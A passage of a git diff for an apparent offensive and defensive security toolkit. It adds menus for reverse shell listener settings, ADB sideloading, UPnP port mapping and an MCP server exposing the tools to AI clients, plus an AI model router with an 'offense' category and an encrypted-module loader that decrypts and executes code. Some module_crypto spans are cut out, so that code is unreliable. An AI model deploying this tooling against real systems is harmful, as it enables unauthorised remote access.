"app-release.apk", + app_dir / "autarch_companion" / "archon.apk", + app_dir / "archon.apk", + ] + + apk_path = None + for loc in apk_locations: + if loc.exists(): + apk_path = loc + break + + if not apk_path: + self.print_status("Archon APK not found.", "warning") + print(f"\n {Colors.DIM}Expected locations:{Colors.RESET}") + for loc in apk_locations: + print(f" {Colors.DIM}{loc}{Colors.RESET}") + print(f"\n {Colors.YELLOW}Build the APK in Android Studio first, or copy it to:{Colors.RESET}") + print(f" {app_dir / 'autarch_companion' / 'archon.apk'}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + print(f" APK: {Colors.GREEN}{apk_path.name}{Colors.RESET} ({apk_path.stat().st_size // 1024}KB)") + print() + + # List connected devices + import subprocess + result = subprocess.run( + [str(adb), 'devices'], + capture_output=True, text=True, timeout=10 + ) + + devices = [] + for line in result.stdout.strip().split('\n')[1:]: + parts = line.split('\t') + if len(parts) == 2 and parts[1].strip() in ('device', 'recovery'): + devices.append(parts[0].strip()) + + if not devices: + self.print_status("No Android devices connected.", "warning") + print(f"\n {Colors.DIM}Connect via USB or enable ADB TCP/IP over WireGuard.{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + print(f" Connected devices:") + for i, dev in enumerate(devices, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {dev}") + + print() + try: + choice = input(f" Select device (1-{len(devices)}, 0=cancel): ").strip() + if choice == "0" or not choice: + return + + idx = int(choice) - 1 + if 0 <= idx < len(devices): + target = devices[idx] + print(f"\n {Colors.CYAN}Installing Archon on {target}...{Colors.RESET}") + + result = subprocess.run( + [str(adb), '-s', target, 'install', '-r', str(apk_path)], + capture_output=True, text=True, timeout=120 + ) + + if result.returncode == 0: + self.print_status(f"Archon installed on {target}", "success") + else: + self.print_status(f"Install failed: {result.stderr.strip()}", "error") + else: + self.print_status("Invalid selection", "warning") + + except (ValueError, subprocess.TimeoutExpired) as e: + self.print_status(f"Error: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + def show_mcp_server(self): + """Display MCP server management interface.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} MCP Server{Colors.RESET}") + print(f"{Colors.DIM} Model Context Protocol — expose AUTARCH tools to AI clients{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Check status + try: + from core.mcp_server import get_server_status, get_mcp_config_snippet, get_autarch_tools + status = get_server_status() + tools = get_autarch_tools() + + if status['running']: + print(f" {Colors.GREEN}SSE Server: RUNNING (PID {status['pid']}){Colors.RESET}") + else: + print(f" {Colors.YELLOW}SSE Server: STOPPED{Colors.RESET}") + + print(f" {Colors.CYAN}Available tools: {len(tools)}{Colors.RESET}") + print() + + # List tools + print(f" {Colors.DIM}Tools:{Colors.RESET}") + for t in tools: + print(f" {Colors.GREEN}-{Colors.RESET} {t['name']}: {Colors.DIM}{t['description'][:60]}{Colors.RESET}") + print() + + except ImportError: + print(f" {Colors.RED}MCP package not installed{Colors.RESET}") + print(f" {Colors.DIM}Install with: pip install mcp{Colors.RESET}") + print() + + mcp_port = self.config.get('web', 'mcp_port', fallback='8081') + print(f" {Colors.CYAN}SSE Port: {mcp_port}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Start SSE Server (port {mcp_port})") + print(f" {Colors.RED}[2]{Colors.RESET} Stop SSE Server") + print(f" {Colors.CYAN}[3]{Colors.RESET} Show Claude Desktop Config") + print(f" {Colors.CYAN}[4]{Colors.RESET} Run Stdio Mode (blocks)") + print(f" {Colors.CYAN}[5]{Colors.RESET} Configure Port") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + from core.mcp_server import start_sse_server + port = self.config.get('web', 'mcp_port', fallback='8081') + result = start_sse_server(port=int(port)) + if result['ok']: + self.print_status(f"MCP SSE server started on port {port} (PID {result['pid']})", "success") + else: + self.print_status(result['error'], "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + from core.mcp_server import stop_sse_server + result = stop_sse_server() + if result['ok']: + self.print_status("MCP server stopped", "success") + else: + self.print_status(result['error'], "warning") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + from core.mcp_server import get_mcp_config_snippet + print() + print(f" {Colors.CYAN}Add this to your Claude Desktop or Claude Code config:{Colors.RESET}") + print() + print(get_mcp_config_snippet()) + print() + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + print() + self.print_status("Starting MCP stdio server (Ctrl+C to stop)...", "info") + print(f" {Colors.DIM}Connect with: claude --mcp autarch{Colors.RESET}") + print() + try: + from core.mcp_server import run_stdio + run_stdio() + except KeyboardInterrupt: + print() + self.print_status("MCP stdio server stopped", "info") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "5": + print() + new_port = input(f" {Colors.WHITE}MCP SSE Port [{mcp_port}]: {Colors.RESET}").strip() + if new_port: + try: + int(new_port) + self.config.set('web', 'mcp_port', new_port) + self.config.save() + self.print_status(f"MCP port set to {new_port}", "success") + except ValueError: + self.print_status("Invalid port number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_upnp_settings(self): + """Display and configure UPnP settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} UPnP Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_upnp_settings() + print(f" {Colors.CYAN}Enabled:{Colors.RESET} {Colors.GREEN if settings['enabled'] else Colors.YELLOW}{'Yes' if settings['enabled'] else 'No'}{Colors.RESET}") + print(f" {Colors.CYAN}Internal IP:{Colors.RESET} {settings['internal_ip']}") + print(f" {Colors.CYAN}Refresh:{Colors.RESET} Every {settings['refresh_hours']} hours") + print(f" {Colors.CYAN}Mappings:{Colors.RESET} {settings['mappings'] or '(none)'}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Refresh All Mappings Now") + print(f" {Colors.CYAN}[2]{Colors.RESET} Configure Internal IP") + print(f" {Colors.CYAN}[3]{Colors.RESET} Configure Refresh Interval") + print(f" {Colors.CYAN}[4]{Colors.RESET} Edit Port Mappings") + print(f" {Colors.CYAN}[5]{Colors.RESET} Toggle Enabled") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + from core.upnp import get_upnp_manager + upnp = get_upnp_manager(self.config) + if not upnp.is_available(): + self.print_status("upnpc not found — install miniupnpc", "error") + else: + self.print_status("Refreshing UPnP mappings...", "info") + results = upnp.refresh_all() + for r in results: + status = "OK" if r['success'] else "FAIL" + color = Colors.GREEN if r['success'] else Colors.RED + print(f" {color}{r['port']}/{r['protocol']}: {status}{Colors.RESET}") + self.print_status(f"Refreshed {len(results)} mappings", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + new_ip = input(f" {Colors.WHITE}Internal IP [{settings['internal_ip']}]: {Colors.RESET}").strip() + if new_ip: + self.config.set('upnp', 'internal_ip', new_ip) + self.config.save() + self.print_status(f"Internal IP set to {new_ip}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + new_hrs = input(f" {Colors.WHITE}Refresh hours [{settings['refresh_hours']}]: {Colors.RESET}").strip() + if new_hrs: + try: + int(new_hrs) + self.config.set('upnp', 'refresh_hours', new_hrs) + self.config.save() + self.print_status(f"Refresh interval set to {new_hrs} hours", "success") + except ValueError: + self.print_status("Invalid number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + print(f"\n {Colors.DIM}Format: port:protocol,port:protocol (e.g. 443:TCP,51820:UDP,8080:TCP){Colors.RESET}") + new_maps = input(f" {Colors.WHITE}Mappings [{settings['mappings']}]: {Colors.RESET}").strip() + if new_maps: + self.config.set('upnp', 'mappings', new_maps) + self.config.save() + self.print_status("Port mappings updated", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "5": + new_val = not settings['enabled'] + self.config.set('upnp', 'enabled', str(new_val).lower()) + self.config.save() + self.print_status(f"UPnP {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_revshell_settings(self): + """Display and configure reverse shell settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Reverse Shell Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_revshell_settings() + print(f" {Colors.CYAN}Enabled:{Colors.RESET} {Colors.GREEN if settings['enabled'] else Colors.YELLOW}{'Yes' if settings['enabled'] else 'No'}{Colors.RESET}") + print(f" {Colors.CYAN}Listen Host:{Colors.RESET} {settings['host']}") + print(f" {Colors.CYAN}Listen Port:{Colors.RESET} {settings['port']}") + print(f" {Colors.CYAN}Auto-start:{Colors.RESET} {Colors.GREEN if settings['auto_start'] else Colors.DIM}{'Yes' if settings['auto_start'] else 'No'}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Configure Host") + print(f" {Colors.CYAN}[2]{Colors.RESET} Configure Port") + print(f" {Colors.CYAN}[3]{Colors.RESET} Toggle Enabled") + print(f" {Colors.CYAN}[4]{Colors.RESET} Toggle Auto-start") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + new_host = input(f" {Colors.WHITE}Listen host [{settings['host']}]: {Colors.RESET}").strip() + if new_host: + self.config.set('revshell', 'host', new_host) + self.config.save() + self.print_status(f"Reverse shell host set to {new_host}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + new_port = input(f" {Colors.WHITE}Listen port [{settings['port']}]: {Colors.RESET}").strip() + if new_port: + try: + int(new_port) + self.config.set('revshell', 'port', new_port) + self.config.save() + self.print_status(f"Reverse shell port set to {new_port}", "success") + except ValueError: + self.print_status("Invalid port number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + new_val = not settings['enabled'] + self.config.set('revshell', 'enabled', str(new_val).lower()) + self.config.save() + self.print_status(f"Reverse shell {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + new_val = not settings['auto_start'] + self.config.set('revshell', 'auto_start', str(new_val).lower()) + self.config.save() + self.print_status(f"Auto-start {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_display_settings(self): + """Display and configure display/output settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Display Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + verbose = self.config.get_bool('autarch', 'verbose', fallback=False) + quiet = self.config.get_bool('autarch', 'quiet', fallback=False) + no_banner = self.config.get_bool('autarch', 'no_banner', fallback=False) + + print(f" {Colors.CYAN}Verbose:{Colors.RESET} {Colors.GREEN if verbose else Colors.DIM}{'On' if verbose else 'Off'}{Colors.RESET}") + print(f" {Colors.CYAN}Quiet:{Colors.RESET} {Colors.YELLOW if quiet else Colors.DIM}{'On' if quiet else 'Off'}{Colors.RESET}") + print(f" {Colors.CYAN}No Banner:{Colors.RESET} {Colors.YELLOW if no_banner else Colors.DIM}{'On' if no_banner else 'Off'}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Toggle Verbose {Colors.DIM}- Extra detail in output{Colors.RESET}") + print(f" {Colors.CYAN}[2]{Colors.RESET} Toggle Quiet {Colors.DIM}- Minimal output{Colors.RESET}") + print(f" {Colors.CYAN}[3]{Colors.RESET} Toggle Banner {Colors.DIM}- Show/hide ASCII banner{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + new_val = not verbose + self.config.set('autarch', 'verbose', str(new_val).lower()) + if new_val: + self.config.set('autarch', 'quiet', 'false') + self.config.save() + self.print_status(f"Verbose {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + new_val = not quiet + self.config.set('autarch', 'quiet', str(new_val).lower()) + if new_val: + self.config.set('autarch', 'verbose', 'false') + self.config.save() + self.print_status(f"Quiet mode {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + new_val = not no_banner + self.config.set('autarch', 'no_banner', str(new_val).lower()) + self.config.save() + self.print_status(f"Banner {'hidden' if new_val else 'shown'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def load_config_file(self): + """Load settings from an alternate config file.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Load Configuration File{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.DIM}Current config: {self.config.config_path}{Colors.RESET}") + print() + + path = input(f" {Colors.WHITE}Path to config file (or Enter to cancel): {Colors.RESET}").strip() + if not path: + return + + config_path = Path(path).expanduser() + if not config_path.exists(): + self.print_status(f"File not found: {config_path}", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + try: + from core.config import Config + new_config = Config(str(config_path)) + self.config = new_config + self.print_status(f"Loaded config from {config_path}", "success") + except Exception as e: + self.print_status(f"Failed to load config: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + def show_user_manual(self): + """Display the user manual in a pager.""" + import shutil + import subprocess + + manual_path = self._app_dir / 'user_manual.md' + if not manual_path.exists(): + self.print_status("User manual not found", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + pager = shutil.which('less') or shutil.which('more') + if pager: + subprocess.run([pager, str(manual_path)]) + else: + # No pager — print page by page + lines = manual_path.read_text().splitlines() + page_size = 40 + for i in range(0, len(lines), page_size): + for line in lines[i:i + page_size]: + print(line) + if i + page_size < len(lines): + try: + resp = input(f"\n{Colors.DIM} -- Press Enter for next page, q to quit -- {Colors.RESET}") + if resp.strip().lower() == 'q': + break + except (EOFError, KeyboardInterrupt): + break + + def list_all_modules(self): + """List all loaded modules, optionally filtered by category.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Loaded Modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if not self.modules: + print(f" {Colors.YELLOW}No modules loaded.{Colors.RESET}") + else: + # Group by category + by_cat = {} + for name, info in sorted(self.modules.items()): + cat = info.category + if cat not in by_cat: + by_cat[cat] = [] + by_cat[cat].append(info) + + for cat_key in sorted(by_cat.keys()): + cat_info = CATEGORIES.get(cat_key, CATEGORIES.get('core', {'name': cat_key, 'color': Colors.WHITE})) + print(f" {cat_info['color']}{Colors.BOLD}{cat_info['name']}{Colors.RESET}") + for info in by_cat[cat_key]: + print(f" {Colors.GREEN}-{Colors.RESET} {info.name:20} {Colors.DIM}{info.description}{Colors.RESET}") + print() + + print(f" {Colors.DIM}Total: {len(self.modules)} modules{Colors.RESET}") + print() + input(f"{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def run(self): + """Main menu loop.""" + self.load_modules() + + while self.running: + self.display_menu() + + try: + choice = input(f"{Colors.WHITE} Select option: {Colors.RESET}").strip() + + if choice == "1": + self.display_category_menu("defense") + elif choice == "2": + self.display_category_menu("offense") + elif choice == "3": + self.display_category_menu("counter") + elif choice == "4": + self.display_category_menu("analyze") + elif choice == "5": + self.display_category_menu("osint") + elif choice == "6": + self.display_category_menu("simulate") + elif choice == "7": + self.run_agent_hal() + elif choice == "8": + self.show_web_service() + elif choice == "9": + self.sideload_companion() + elif choice == "10": + self.show_mcp_server() + elif choice == "11": + self.show_user_manual() + elif choice == "12": + self.list_all_modules() + elif choice == "99": + self.show_settings() + elif choice == "98": + self.running = False + clear_screen() + print(f"\n{Colors.CYAN}Goodbye!{Colors.RESET}\n") + else: + self.print_status("Invalid option", "warning") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + print() + self.running = False + clear_screen() + print(f"\n{Colors.CYAN}Goodbye!{Colors.RESET}\n") diff --git a/core/model_router.py b/core/model_router.py new file mode 100644 index 0000000..b264697 --- /dev/null +++ b/core/model_router.py @@ -0,0 +1,305 @@ +""" +AUTARCH Model Router +Manages concurrent SLM/LAM/SAM model instances for autonomous operation. + +Model Tiers: + SLM (Small Language Model) — Fast classification, routing, yes/no decisions + SAM (Small Action Model) — Quick tool execution, simple automated responses + LAM (Large Action Model) — Complex multi-step agent tasks, strategic planning +""" + +import json +import logging +import threading +from typing import Optional, Dict, Any +from enum import Enum + +from .config import get_config + +_logger = logging.getLogger('autarch.model_router') + + +class ModelTier(Enum): + SLM = 'slm' + SAM = 'sam' + LAM = 'lam' + + +# Fallback chain: if a tier fails, try the next one +_FALLBACK = { + ModelTier.SLM: [ModelTier.SAM, ModelTier.LAM], + ModelTier.SAM: [ModelTier.LAM], + ModelTier.LAM: [], +} + + +class _TierConfigProxy: + """Proxies Config but overrides the backend section for a specific model tier. + + When a tier says backend=local with model_path=X, this proxy makes the LLM + class (which reads [llama]) see the tier's model_path/n_ctx/etc instead. + """ + + def __init__(self, base_config, tier_name: str): + self._base = base_config + self._tier = tier_name + self._overrides: Dict[str, Dict[str, str]] = {} + self._build_overrides() + + def _build_overrides(self): + backend = self._base.get(self._tier, 'backend', 'local') + model_path = self._base.get(self._tier, 'model_path', '') + n_ctx = self._base.get(self._tier, 'n_ctx', '2048') + n_gpu_layers = self._base.get(self._tier, 'n_gpu_layers', '-1') + n_threads = self._base.get(self._tier, 'n_threads', '4') + + if backend == 'local': + self._overrides['llama'] = { + 'model_path': model_path, + 'n_ctx': n_ctx, + 'n_gpu_layers': n_gpu_layers, + 'n_threads': n_threads, + } + elif backend == 'transformers': + self._overrides['transformers'] = { + 'model_path': model_path, + } + # claude and huggingface are API-based — no path override needed + + def get(self, section: str, key: str, fallback=None): + overrides = self._overrides.get(section, {}) + if key in overrides: + return overrides[key] + return self._base.get(section, key, fallback) + + def get_int(self, section: str, key: str, fallback: int = 0) -> int: + overrides = self._overrides.get(section, {}) + if key in overrides: + try: + return int(overrides[key]) + except (ValueError, TypeError): + return fallback + return self._base.get_int(section, key, fallback) + + def get_float(self, section: str, key: str, fallback: float = 0.0) -> float: + overrides = self._overrides.get(section, {}) + if key in overrides: + try: + return float(overrides[key]) + except (ValueError, TypeError): + return fallback + return self._base.get_float(section, key, fallback) + + def get_bool(self, section: str, key: str, fallback: bool = False) -> bool: + overrides = self._overrides.get(section, {}) + if key in overrides: + val = str(overrides[key]).lower() + return val in ('true', '1', 'yes', 'on') + return self._base.get_bool(section, key, fallback) + + # Delegate all settings getters to base (they call self.get internally) + def get_llama_settings(self) -> dict: + from .config import Config + return Config.get_llama_settings(self) + + def get_transformers_settings(self) -> dict: + from .config import Config + return Config.get_transformers_settings(self) + + def get_claude_settings(self) -> dict: + return self._base.get_claude_settings() + + def get_huggingface_settings(self) -> dict: + return self._base.get_huggingface_settings() + + +class ModelRouter: + """Manages up to 3 concurrent LLM instances (SLM, SAM, LAM). + + Each tier can use a different backend (local GGUF, transformers, Claude API, + HuggingFace). The router handles loading, unloading, fallback, and thread-safe + access. + """ + + def __init__(self, config=None): + self.config = config or get_config() + self._instances: Dict[ModelTier, Any] = {} + self._locks: Dict[ModelTier, threading.Lock] = { + tier: threading.Lock() for tier in ModelTier + } + self._load_lock = threading.Lock() + + @property + def status(self) -> Dict[str, dict]: + """Return load status of all tiers.""" + result = {} + for tier in ModelTier: + inst = self._instances.get(tier) + settings = self.config.get_tier_settings(tier.value) + result[tier.value] = { + 'loaded': inst is not None and inst.is_loaded, + 'model_name': inst.model_name if inst and inst.is_loaded else None, + 'backend': settings['backend'], + 'enabled': settings['enabled'], + 'model_path': settings['model_path'], + } + return result + + def load_tier(self, tier: ModelTier, verbose: bool = False) -> bool: + """Load a single tier's model. Thread-safe.""" + settings = self.config.get_tier_settings(tier.value) + + if not settings['enabled']: + _logger.info(f"[Router] Tier {tier.value} is disabled, skipping") + return False + + if not settings['model_path'] and settings['backend'] == 'local': + _logger.warning(f"[Router] No model_path configured for {tier.value}") + return False + + with self._load_lock: + # Unload existing if any + if tier in self._instances: + self.unload_tier(tier) + + try: + inst = self._create_instance(tier, verbose) + self._instances[tier] = inst + _logger.info(f"[Router] Loaded {tier.value}: {inst.model_name}") + return True + except Exception as e: + _logger.error(f"[Router] Failed to load {tier.value}: {e}") + return False + + def unload_tier(self, tier: ModelTier): + """Unload a tier's model and free resources.""" + inst = self._instances.pop(tier, None) + if inst: + try: + inst.unload_model() + _logger.info(f"[Router] Unloaded {tier.value}") + except Exception as e: + _logger.error(f"[Router] Error unloading {tier.value}: {e}") + + def load_all(self, verbose: bool = False) -> Dict[str, bool]: + """Load all enabled tiers. Returns {tier_name: success}.""" + results = {} + for tier in ModelTier: + results[tier.value] = self.load_tier(tier, verbose) + return results + + def unload_all(self): + """Unload all tiers.""" + for tier in list(self._instances.keys()): + self.unload_tier(tier) + + def get_instance(self, tier: ModelTier): + """Get the LLM instance for a tier (may be None if not loaded).""" + return self._instances.get(tier) + + def is_tier_loaded(self, tier: ModelTier) -> bool: + """Check if a tier has a loaded model.""" + inst = self._instances.get(tier) + return inst is not None and inst.is_loaded + + def classify(self, text: str) -> Dict[str, Any]: + """Use SLM to classify/triage an event or task. + + Returns: {'tier': 'sam'|'lam', 'category': str, 'urgency': str, 'reasoning': str} + + Falls back to SAM tier if SLM is not loaded. + """ + classify_prompt = f"""Classify this event/task for autonomous handling. +Respond with ONLY a JSON object, no other text: +{{"tier": "sam" or "lam", "category": "defense|offense|counter|analyze|osint|simulate", "urgency": "high|medium|low", "reasoning": "brief explanation"}} + +Event: {text}""" + + # Try SLM first, then fallback + for tier in [ModelTier.SLM, ModelTier.SAM, ModelTier.LAM]: + inst = self._instances.get(tier) + if inst and inst.is_loaded: + try: + with self._locks[tier]: + response = inst.generate(classify_prompt, max_tokens=200, temperature=0.1) + # Parse JSON from response + response = response.strip() + # Find JSON in response + start = response.find('{') + end = response.rfind('}') + if start >= 0 and end > start: + return json.loads(response[start:end + 1]) + except Exception as e: + _logger.warning(f"[Router] Classification failed on {tier.value}: {e}") + continue + + # Default if all tiers fail + return {'tier': 'sam', 'category': 'defense', 'urgency': 'medium', + 'reasoning': 'Default classification (no model available)'} + + def generate(self, tier: ModelTier, prompt: str, **kwargs) -> str: + """Generate with a specific tier, falling back to higher tiers on failure. + + Fallback chain: SLM -> SAM -> LAM, SAM -> LAM + """ + chain = [tier] + _FALLBACK.get(tier, []) + + for t in chain: + inst = self._instances.get(t) + if inst and inst.is_loaded: + try: + with self._locks[t]: + return inst.generate(prompt, **kwargs) + except Exception as e: + _logger.warning(f"[Router] Generate failed on {t.value}: {e}") + continue + + from .llm import LLMError + raise LLMError(f"All tiers exhausted for generation (started at {tier.value})") + + def _create_instance(self, tier: ModelTier, verbose: bool = False): + """Create an LLM instance from tier config.""" + from .llm import LLM, TransformersLLM, ClaudeLLM, HuggingFaceLLM + + section = tier.value + backend = self.config.get(section, 'backend', 'local') + proxy = _TierConfigProxy(self.config, section) + + if verbose: + model_path = self.config.get(section, 'model_path', '') + _logger.info(f"[Router] Creating {tier.value} instance: backend={backend}, model={model_path}") + + if backend == 'local': + inst = LLM(proxy) + elif backend == 'transformers': + inst = TransformersLLM(proxy) + elif backend == 'claude': + inst = ClaudeLLM(proxy) + elif backend == 'huggingface': + inst = HuggingFaceLLM(proxy) + else: + from .llm import LLMError + raise LLMError(f"Unknown backend '{backend}' for tier {tier.value}") + + inst.load_model(verbose=verbose) + return inst + + +# Singleton +_router_instance = None + + +def get_model_router() -> ModelRouter: + """Get the global ModelRouter instance.""" + global _router_instance + if _router_instance is None: + _router_instance = ModelRouter() + return _router_instance + + +def reset_model_router(): + """Reset the global ModelRouter (unloads all models).""" + global _router_instance + if _router_instance is not None: + _router_instance.unload_all() + _router_instance = None diff --git a/core/module_crypto.py b/core/module_crypto.py new file mode 100644 index 0000000..97557af --- /dev/null +++ b/core/module_crypto.py @@ -0,0 +1,239 @@ +""" +AUTARCH Encrypted Module Cryptography +AES-256-CBC encryption with PBKDF2-HMAC-SHA512 key derivation +and SHA-512 integrity verification. + +File format (.autarch): + Offset Size Field + ────── ──── ───────────────────────────────────────────────────── + 0 4 Magic: b'ATCH' + 4 1 Version: 0x01 + 5 32 PBKDF2 salt + 37 16 AES IV + 53 64 SHA-512 hash of plaintext (integrity check) + 117 2 Metadata JSON length (uint16 LE) + 119 N Metadata JSON (UTF-8) + 119+N ... AES-256-CBC ciphertext (PKCS7 padded) +""" + +import hashlib +import hmac +import json +import os +import struct +from pathlib import Path +from typing import Optional + +MAGIC = b'ATCH' +VERSION = 0x01 +KDF_ITERS = 260000 # PBKDF2 iterations (NIST recommended minimum for SHA-512) +SALT_LEN = 32 +IV_LEN = 16 +HASH_LEN = 64 # SHA-512 digest length + + +# ── Low-level AES (pure stdlib, no pycryptodome required) ──────────────────── +# Uses Python's hashlib-backed AES via the cryptography package if available, +# otherwise falls back to pycryptodome, then to a bundled pure-Python AES. + +def _get_aes(): + """Return (encrypt_func, decrypt_func) pair.""" + try: + from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + from cryptography.hazmat.primitives import padding as sym_padding + from cryptography.hazmat.backends import default_backend + + def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes: + padder = sym_padding.PKCS7(128).padder() + padded = padder.update(plaintext) + padder.finalize() + cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) + enc = cipher.encryptor() + return enc.update(padded) + enc.finalize() + + def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes: + cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) + dec = cipher.decryptor() + padded = dec.update(ciphertext) + dec.finalize() + unpadder = sym_padding.PKCS7(128).unpadder() + return unpadder.update(padded) + unpadder.finalize() + + return encrypt, decrypt + + except ImportError: + pass + + try: + from Crypto.Cipher import AES + from Crypto.Util.Padding import pad, unpad + + def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes: + cipher = AES.new(key, AES.MODE_CBC, iv) + return cipher.encrypt(pad(plaintext, 16)) + + def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes: + cipher = AES.new(key, AES.MODE_CBC, iv) + return unpad(cipher.decrypt(ciphertext), 16) + + return encrypt, decrypt + + except ImportError: + raise RuntimeError( + "No AES backend available. Install one:\n" + " pip install cryptography\n" + " pip install pycryptodome" + ) + + +_aes_encrypt, _aes_decrypt = _get_aes() + + +# ── Key derivation ──────────────────────────────────────────────────────────── + +def _derive_key(password: str, salt: bytes) -> bytes: + """Derive a 32-byte AES key from a password using PBKDF2-HMAC-SHA512.""" + return hashlib.pbkdf2_hmac( + 'sha512', + password.encode('utf-8'), + salt, + KDF_ITERS, + dklen=32, + ) + + +# ── Public API ──────────────────────────────────────────────────────────────── + +def encrypt_module( + source_code: str, + password: str, + metadata: Optional[dict] = None, +) -> bytes: + """ + Encrypt a Python module source string. + + Returns the raw .autarch file bytes. + """ + meta_bytes = json.dumps(metadata or {}).encode('utf-8') + plaintext = source_code.encode('utf-8') + salt = os.urandom(SALT_LEN) + iv = os.urandom(IV_LEN) + key = _derive_key(password, salt) + digest = hashlib.sha512(plaintext).digest() + ciphertext = _aes_encrypt(key, iv, plaintext) + + meta_len = len(meta_bytes) + header = ( + MAGIC + + struct.pack('B', VERSION) + + salt + + iv + + digest + + struct.pack(' tuple[str, dict]: + """ + Decrypt an .autarch blob. + + Returns (source_code: str, metadata: dict). + Raises ValueError on bad magic, version, or integrity check failure. + """ + offset = 0 + + # Magic + if data[offset:offset + 4] != MAGIC: + raise ValueError("Not a valid AUTARCH encrypted module (bad magic)") + offset += 4 + + # Version + version = data[offset] + if version != VERSION: + raise ValueError(f"Unsupported module version: {version:#04x}") + offset += 1 + + # Salt + salt = data[offset:offset + SALT_LEN] + offset += SALT_LEN + + # IV + iv = data[offset:offset + IV_LEN] + offset += IV_LEN + + # SHA-512 integrity hash + stored_hash = data[offset:offset + HASH_LEN] + offset += HASH_LEN + + # Metadata + meta_len = struct.unpack(' None: + """Encrypt a .py source file to a .autarch file.""" + source = src.read_text(encoding='utf-8') + blob = encrypt_module(source, password, metadata) + dst.write_bytes(blob) + + +def decrypt_file(src: Path, password: str) -> tuple[str, dict]: + """Decrypt an .autarch file and return (source_code, metadata).""" + return decrypt_module(src.read_bytes(), password) + + +def load_and_exec( + path: Path, + password: str, + module_name: str = '__encmod__', +) -> dict: + """ + Decrypt and execute an encrypted module. + + Returns the module's globals dict (its namespace). + """ + source, meta = decrypt_file(path, password) + namespace: dict = { + '__name__': module_name, + '__file__': str(path), + 